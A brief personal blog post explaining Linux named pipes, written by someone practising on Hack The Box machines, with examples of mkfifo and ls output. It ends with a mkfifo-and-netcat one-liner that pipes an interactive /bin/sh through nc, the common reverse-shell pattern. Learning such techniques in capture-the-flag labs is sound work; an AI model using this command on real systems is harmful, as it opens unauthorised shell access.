[linux] named pipe

I am learning new things while attempting hackthebox machines, one of the thing I learned about linux is the named pipe.

To identify whether the file is a named pipe you can list like this:

# ls -lah /tmp/f
prw-r--r-- 1 root root 0 Apr  9 11:40 /tmp/f

But if you try to read the content of the /tmp/f the screen will seem like hang…
Because this file is reading from stdin, I will need to do something to the pipe file, such as ls -lah > /tmp/f
In this example I am doing an echo:

To make a piped file, use mkfifo command like this mkfifo /tmp/f which will make a fifo file named “f”.

Why I need to know this, because I want to get the shell from nc server for one of the machine.

with these:

rm /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i | nc localhost 4444

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s